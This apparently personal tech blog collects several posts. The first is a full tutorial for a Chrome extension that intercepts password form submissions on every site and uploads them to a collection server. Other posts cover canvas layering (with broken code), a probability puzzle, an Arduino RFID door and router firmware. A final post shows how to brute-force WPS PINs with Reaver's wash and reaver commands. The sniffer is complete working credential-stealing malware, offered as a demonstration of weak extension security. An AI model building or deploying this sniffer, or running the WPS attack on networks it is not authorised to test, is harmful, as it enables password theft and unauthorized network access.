Browser extensions and security

Browsers have evolved a lot since the introduction of different alternatives and the growing development of them. They are becoming more and more useful, complex and necessary in communications nowadays.

Following the need to add new functionality or expand the existing ones comes the extensions, Javascript and HTML modules running along the loaded pages. Extensions allow us to do many things, to modify the web pages we are seeing, to send XMLHttp requests to servers outside the website’s domain, etc. This freedom comes with a big problem, security. Although all of this features need permissions to be used, very few people read the permissions requests, or understand them well enough to actually be conscious of what is going on.

We’ll create a password sniffer application to see how easy is to build one. The objective of this application is to intercept all form submissions to get the data being sent from the forms that have a password field (to avoid useless data).

First of all, we’ll start creating our application by defining our manifest.json:

mainfest.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"name" : "Chrome password sniffer",
"version" : "1",
"description" : "Sniffs passwords",
"minimum_chrome_version" : "18",
"manifest_version": 2,
"permissions" : ["*://*/*"],
"background" : {
"scripts": ["background.js"],
"persistent": false
},
"content_scripts" : [{
"matches" : ["*://*/*"],
"js" : ["sniffer.js"],
"run_at" : "document_idle",
"all_frames" : true
}]
}

The manifest.json file describes our application and its behavior. The important fields to our project are the following:

  • Permissions: we are granting permissions to every page visited.
  • Background: has the file that will be executed in the background and will receive and send (to our server) the data sniffed from the forms. The persistent field is set to false because our script will be executed on a specific event and it won’t be running all the time.
  • Content_scripts: describes the files that will be injected in the pages. Our application will inject the files for our form sniffer. Due to the run_at (document_idle) field, the injection will occur when the DOM is loaded.

We now have the manifest.json file describing our application, lets get to the juicy part of it, we’ll start with the sniffer.js file, the file that will get injected into every loaded page. Here, we’ll define the event submit for all the forms in the website to the following:

sniffer.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* Adds the submit event to all the forms in the website */
var forms = document.getElementsByTagName("form");

for(var i = 0; i < forms.length; i++) {
forms[i].addEventListener("submit", function(event) {
/* Form_data will hold the data to be sniffed */
var form_data = {};
var has_password = false;

/* Loop trough all the elements in the form */
for(var i = 0; i < this.elements.length; i++) {
var name = this.elements[i].name;
var type = this.elements[i].type;
var value = this.elements[i].value;

/* Gets only the form submissions with a password field */
if(type && type.toLowerCase() === "password")
has_password = true;

/* Gets the non hidden fields */
if(name && type.toLowerCase() !== "hidden")
form_data[name] = value;
}

/* If the form has a password field, send it to the application */
if(has_password) {
chrome.extension.sendMessage({type: "data_to_send", data: form_data});
}
return true;
});
}

The event in sniffer.js will be executed with each form submission. The form data, of the forms that include a password field, will be packed in an object and sent to the application using the chrome.extension.sendMessage function. Why are we sending the data to the application? In order to use the cross-domain XMLHttp requests that will send the data to our servers.

The receiver of the chrome.extension.sendMessage will be in the background.js file. This will be the core of our application. This file will have the event listener for the onMessage request (that will be called with the sendMessage function) and will upload the form’s data to our servers.

background.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* Add a listener to the onMessage event */
chrome.extension.onMessage.addListener(function(request, sender, sendResponse) {
/* Adding a request type can */
if(request && request.type === "data_to_send") {
var form_data = {data: JSON.stringify(request.data), url: sender.tab.url};
upload(form_data);
}
/* Use sendResponse to make the call asynchronous */
sendResponse({});
});

function upload(form_data) {
/* Creates a new XMLHttp request to send the form data to our server */
var xhr = new XMLHttpRequest();

/* Set the page and the POST method */
xhr.open("POST", "http://localhost:3000/extension", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

/* Set the data as two form fields, data and url */
xhr.send("data=" + encodeURIComponent(form_data.data) + "&url=" + encodeURIComponent(form_data.url));
}

Our servers will receive the data in a POST request with the fields data as a json object and the URL field as the action URL of the form.

The only thing left is to load our application to our browser, we can do that by enabling the developer mode in the extensions page and uploading the extension using the load unpacked extension button.

Chrome allows the installation of applications that aren’t from the Chrome Store only if the developer mode is enabled, this is an important security decision, but there’s a big lack of security knowledge (generally) that will result in people doing all the needed stuff to install them.

Multi-layer canvas in Javascript

Multi layer drawings can be useful for animations and graphical applications.
How simple is to implement a fast drawing multi layered canvas? Pretty easy:

First of all, we need a canvas in the HTML page to see what’s going on.
This will be our main canvas, where all the layers will merge to form the image.

1
<canvas id="myCanvas" width="400" height="200" style="border:1px solid #000000;">

Now, for each layer, we’ll use a new canvas, each canvas will allow as to draw freely, creating a new image that will be later drawn in the main canvas. We’ll create the function addNewLayer() that will create a new canvas, and push it to our layers array.
The layers transparency is assured due to the clearRect() function, if this is not called each layer will end up placing a black background at the time of fusing the layers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var mainContext = document.getElementsById("canvas")[0].getContext("2d");

/* Create our layer's array */
var layers = [];

function addNewLayer(layers) {
/* Create the layer as a new canvas */
var layer = document.createElement("canvas");
var layerContext = layer1.getContext("2d");

/* Clear the canvas */
layerContext.clearRect(0, 0, 400, 200);

/* Add it to our layers array */
layers.push(layer);
}

We’ll create three layers, each one with a rectangle on it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* Creates new layer and adds a rectangle to it */
var newLayer = addNewLayer(layers);
var newLayerContext = newLayer.getContext("2d");
newLayerContext.fillStyle = "#FF0000";
newLayerContext.fillRect(0, 0, 80, 100);

/* Creates new layer and adds a rectangle to it */
newLayer = addNewLayer(layers);
newLayerContext = newLayer.getContext("2d");
newLayerContext.fillStyle = "#00FF00";
newLayerContext.fillRect(10, 10, 80, 100);

/* Creates new layer and adds a rectangle to it */
newLayer = addNewLayer(layers);
newLayerContext = newLayer.getContext("2d");
newLayerContext.fillStyle = "#0000FF";
newLayerContext.fillRect(20, 20, 80, 100);

We have now our layering system and our three layers drawn, let’s draw them to the main canvas.
We’ll create a drawImage() function that will draw each layer on top of the other in our main canvas. Each time we make a change on a layer it is necessary to re-write the layers again to make the changes visible again.

1
2
3
4
5
6
7
8
9
function drawImage(canvas, layers) {
var canvasContext = canvas.getContext("2d");
for(var i = 0; i < layers.lenght; i++ ) {
canvasContext.drawImage(layers[i], 0, 0);
}
}

/* On each change to the layers, draw the image again */
drawImage(mainCanvasContext, layers);

Here’s the code working:

Coupon collector's problem

From Wikipedia:

Given n coupons, how many coupons do you expect you need to draw with replacement before having drawn each coupon at least once?

This is a simple and interesting probabilistic problem that you can find in CodeChef.
We’ll solve this problem using the following CodeChef scenario:

There are N songs in the album. In the very beginning, a random song is chosen (here and further “random song” means that every song has equal probability to be chosen). After some song is over the next one is chosen randomly and independently of what have been played before.
Nikita G., being the only one who is not going to drop out from the university, wonders, what is the expected number of songs guys have to listen to until every song is played at least once.

So, we have N songs in the album and we need to get how many songs we need to listen until all of the songs are played, having the songs, the same probability to get chosen to be played. We also need to notice that the songs are not taken away, they remain there to be chosen again.

So, getting into the solution of the problem.
We need to know how many times we have to play songs until we get one different, and we have to do this same procedure until we get to play all of them.
We can think that each song played is going to be a trial into getting a new one and we need to know the expected ammount of trials we’ll need to do to get a success, or a new song. Luckly we have the gemoetric distribution that deals with this kind of models.

The geometric distribution takes only one parameter a it’s the probability of beeing sucessfull in the trial, that is, the probability of getting a new song of the ones we have.

To think better about which is the probability we’ll be having, lets use some examples:

  • For the first time we play a song, we could get any of the N songs we have, N / N = 1 (which songs we could play / how many songs we have) will be our probability and the times we’ll be needing to play songs before we get a new one.
  • For the second time, we’ll have a probability of N - 1 / N, as one song has been already played.
  • For the third time, we’ll have a probability N - 2 / N. And we can see that this gets repeated each time.

We’ll call Pi = N - i / N the probability of getting a new song. Each i:[0, N-1] will refer to each new attempt to get a new song having already played i songs.
Now, we’ll put the geometric distribution to work:
The expectation of the geometric distribution is the expected trials before we get the new song played. This expectation can be written as: E(GD(Pi)) = 1 / Pi.

Using the same examples as before:

  • For the first time, we know it’s 1.
  • For the second time, we have that the expected amount of trials will be 1 / (N - 1 / N) = N / N - 1.
  • For the third time, following the same logic, we’ll have N / N - 2.

So, we know how many trials we need to do before getting each new song, we have left just to sum all the expected trials for each i and we’ll have the amount of times we’ll need to play songs before we get all of them.

The code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>

unsigned t, n;
double songs;

int main() {
scanf("%d\n", &t);
for (; t > 0; --t) {
scanf("%d\n", &n);
songs = 0;
for (int i = 1; i <= n; ++i) {
songs += (double) n/i;
}
printf("%.1f\n", songs);
}
return 0;
}

ArduDoor, a RFID electronic door

This project has been made with the Arduino platform and the RFID tag reader ID-12.

What is es RFID? A brief explanation from Wikipedia:

Radio-frequency identification (RFID) is the use of a wireless non-contact system that uses radio-frequency electromagnetic fields to transfer data from a tag attached to an object, for the purposes of automatic identification and tracking. Some tags require no battery and are powered by the electromagnetic fields used to read them. Others use a local power source and emit radio waves (electromagnetic radiation at radio frequencies). The tag contains electronically stored information which can be read from up to several metres (yards) away. Unlike a bar code, the tag does not need to be within line of sight of the reader and may be embedded in the tracked object.
RFID tags are used in many industries. An RFID tag attached to an automobile during production can be used to track its progress through the assembly line. Pharmaceuticals can be tracked through warehouses. Livestock and pets may have tags injected, allowing positive identification of the animal. RFID identity cards can give employees access to locked areas of a building, and RF transponders mounted in automobiles can be used to bill motorists for access to toll roads or parking.

How to start using the RFID ID-12?

First of all, let’s see it’s datasheet to see how the Integrated Circuit is supposed to work and which pin to use.

The pins we are interested to make this project are:

  • 1 (GND)
  • 11 (+5v) to power our project
  • 2 (RES) to make the reader work and to implement the RESET feature if desired
  • 9 (ASCII out) that will output the id tag.

In this project, there’s no need of resetting the IC because it makes the user to remove the tag from the reader before reading a tag again, if you use the RESET feature, you can read the card again right after you reset it and that’s something we don’t need.

This in an example of how to connect an RFID ID-12 to the Arduino platform, this image is from other proyect, you can check it out in the Bildr.org page.

Now, let’s build the project. To do this, we’ll need a standalone Arduino, to do this and to understand how the arduino works, you can read this guide that has the steps to build an Arduino in a protoboard.

https://docs.google.com/open?id=1Jbk7U8EvlfXlGilfBzxiNpYyaE1KdoI9rVGBtHlXFp2p5rsrh-CHmONo68t_

This guide was created by SparkFun and it’s perfect to replicate the Arduino platform.
In page 6, we’ll find the circuit scheme, from there, we’ll focus in the most important things to make the Arduino run, you don’t need to pay attention to the FTDI, the LED in the 13th pin and the RESET pin and button.
The first thing to do is to give our project a good power source. As the Atmega328 that our Arduino uses and the RFID reader works with 5v, we’ll need an IC (Integrated Circuit) to convert from our power source to 5v, the LM7805 is a 5v voltage regulator that will do the job and as you can see, it’s used in the protoboard assembly with an special configuration of capacitors.
We have to take into consideration what power source will we use, it depends mostly on our electronic lock, in this case, I’ve used a 9v transformer and a diode bridge rectifier to convert from 9v AC to DC.

The board circuit:

And the tag reader:

The proyect requires the component’s library created by SparkFun, you can download it from: https://github.com/sparkfun/SparkFun-Eagle-Library

Both files, including their respective schematics and the pdf files with the circuits ready to print are available for download and can be modified and used using Eagle.
Each scheme has what components have been used. Download here!

Time to get our hands into the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
//We'll start adding some variables to make the code easier to read and configure
int RFIDResetPin = 2;
int doorPin = 5;
char tagString[14] = "";
char myTag[14] = "434056786236";
int reading = 0;
int index = 0;
int ldPin = 4;
int tempo = 300;
//Let's configure the pins we're going to use. Set the RFID reset pin HIGH, without this, the reader won't work, and set the Serial port to be able to
//read the tags
void setup(){
pinMode(5, OUTPUT);
Serial.begin(9600);
pinMode(RFIDResetPin, OUTPUT);
pinMode(speakerPin, OUTPUT);
digitalWrite(RFIDResetPin, HIGH);
}

//Start looking for tags
void loop(){
readCard();
}

void readCard() {
while(Serial.available()){ //If there are data available to read
char readByte = Serial.read(); //Read bytes one by one
if(readByte == 2) { //If our byte equals 2, it sets the starting point of a tag being read
reading = 1;
index = 0;
}
if(readByte == 3) { //If it is 3, the tag reading has finished
reading = 2;
}
if(reading == 1 && readByte != 2 && readByte != 10 && readByte != 13 && readByte != 3){
tagString[index] = readByte; //Each byte will be placed in our tag buffer
index++;
}
}
if(reading == 2) { //If the reading has ended, compare the tag code with the one that opens the door
if (compareTag(myTag) == true) {
openDoor();
}
reading = 0; //Set the reading to 0 to tell the program that it can read new cards
Serial.flush(); //Delete the Serial buffer to avoid problems
}
}

//This function is not needed
void resetReader(){
///////////////////////////////////
//Reset the RFID reader to read again.
///////////////////////////////////
digitalWrite(RFIDResetPin, LOW);
digitalWrite(RFIDResetPin, HIGH);
delay(250);
}

//Compares two tags
boolean compareTag(char two[]){
if(strlen(tagString) == 0) return false; //empty

for(int i = 0; i < 12; i++){
if(tagString[i] != two[i]) return false;
}

return true; //no mismatches
}
//Opens the door
void openDoor(){
digitalWrite(doorPin, HIGH);
delay(2500);
digitalWrite(doorPin, LOW);
}

And the final result:

Installing a custom firmware in a WRT160n v3 Router

So got my hands with an old WRT160n router from Cisco, perfect for a bit of experimentation.
I’m going to show how to install two different router firmwares for this router, DD-WRT and OpenWRT.
Before everything, you need to be connected via ethernet to the router.
The installation consists in the following:

  1. Downloading the wanted firmware from it’s page.
  2. Doing a 30/30/30 reset.
  3. Uploading the firmware in the maintenance mode after doing the 30/30/30 reset.
  4. Doing another 30/30/30 reset and select reboot.

Downloading the firmware

OpenWRT

For the OpenWRT firmware, we have the Barrier Breaker 14.07, which is the most stable to this date.

DD-WRT

For the DD-WRT you’ll want to download the v24-14929 build.
This is one of the latest stable versions for this router, other versions seem to break Wi-Fi.

Doing a 30/30/30 reset

The 30/30/30 reset will clear the NVRAM and set firmware back to default values.
It’s performed by the following set of steps:

  1. Having the router on, press the reset button on the back of the router (you might need a pen to get it) for 30 seconds.
  2. Without releasing the reset button, unplug the router and wait for another 30 seconds.
  3. Plug the power on still holding the reset button for another 30 seconds.

Afther doing the procedure the router will get resetted and you will see by getting into 192.168.1.1 the maintenance mode for the router.

Flashing the new firmware

In the maintenance mode, click on upload, select the firmware you have downloaded and then wait for it to be rebooted.
After this, it is recommended to do the 30/30/30 procedure selecting reboot when the router reaches the maintenance mode screen.

Some thoughts about custom firmwares

  • DD-WRT and OpenWRT seem to work perfectly in the versions given before.
  • DD-WRT does not support WPS and OpenWRT does but a package is required to be downloaded and the limited space that the router has makes it impossible to achieve that.
  • DD-WRT supports out of the box Client Bridge type of functioning an OpenWRT doesn’t, it is required to download a package called relayd, the same problem with the free space happens here also. Having the chance of getting your router into Client Bridge means that you can repurpose your old router to extend a bit your range.

WPS Exploitation

What is WPS? (Wi-Fi Protected Setup)

WPS is a protocol developed to try to break the breach between having to deal with Wi-Fi security knowledge and the normal user. The protocol facilitates the users the access to the network without having to use the password at all in a new way, using a PIN number, pushing a button or simply approaching it’s phone to a NFC tag.
The interaction can be resumed as: the client gets a 8 digits PIN number by the different mediums said and then sends it to the router that will later send the router’s password.
Everything seems fine with the exception that the protocol has a series of bad design failures that could compromise the security of the networks where it’s used.

Why is it faulty?

Old routers do not have any type of brute force protection and some of the make it impossible to disable the function (even if you disable it, some of them will keep it running).
The most interesting part of the design of the protocol is that the 4 first digits of the 8 PIN number are checked immediately, responding if they are correct without taking into consideration the other 4 digits reducing drastically the number of retries needed to get the complete PIN. Considering also that the last digit is a checksum of the rest of the others, we end up narrowing the discovery of the PIN to only a few retries that are totally possible with a bit of time.

Installing Reaver

Debian or Ubuntu:

1
sudo apt-get install reaver

Non supported distributions via packages:

Download the code from: http://code.google.com/p/reaver-wps/downloads/list
Unzip it, get into the unzipped directory and do:

1
2
3
./configure
make
make install

Using Reaver

Reaver commands are well explained in the Wiki page or in the README that it comes with.
It’s very simple to use, we have first to get our Wi-Fi hardware into monitor mode and then use the two application that come with Reaver (reaver & wash).
To identify which networks have WPS enabled we will use wash in our terminal:

1
wash -i OurWiFiInterface

Using wash we will discover the networks that are using WPS and their information.
Using the BSSID gathered from wash we will now commence our attack especifing our Wi-Fi network interface in monitor mode and the delay time for each PIN try (not required but useful to not DOS the router or to get blocked from it).

1
reaver -i OurWiFiInterface -b BSSID -d Delay

The time to get the PIN variates depending on the distance to the router and of course, the router’s capacity to respond to the WPS messages. The Reaver’s page says it can take from 4 to 10 hours to get the correct PIN and the router’s password with it. My tests with my personal router took around 8 hours to get the PIN.

Conclusions

There are lots of old routers old there that haven’t been updated to fix this issue making this a potentially interesting tool for penetration testing.
Without taking into consideration the distance to the router or other variabilities to it, the possibility of brute forcing a PIN and getting access into a network, in a range of 8 or 10 hours, otherwise inaccessible makes reaver an excellent tool and good reason to consider changing faulty routers or getting a new firmware into them.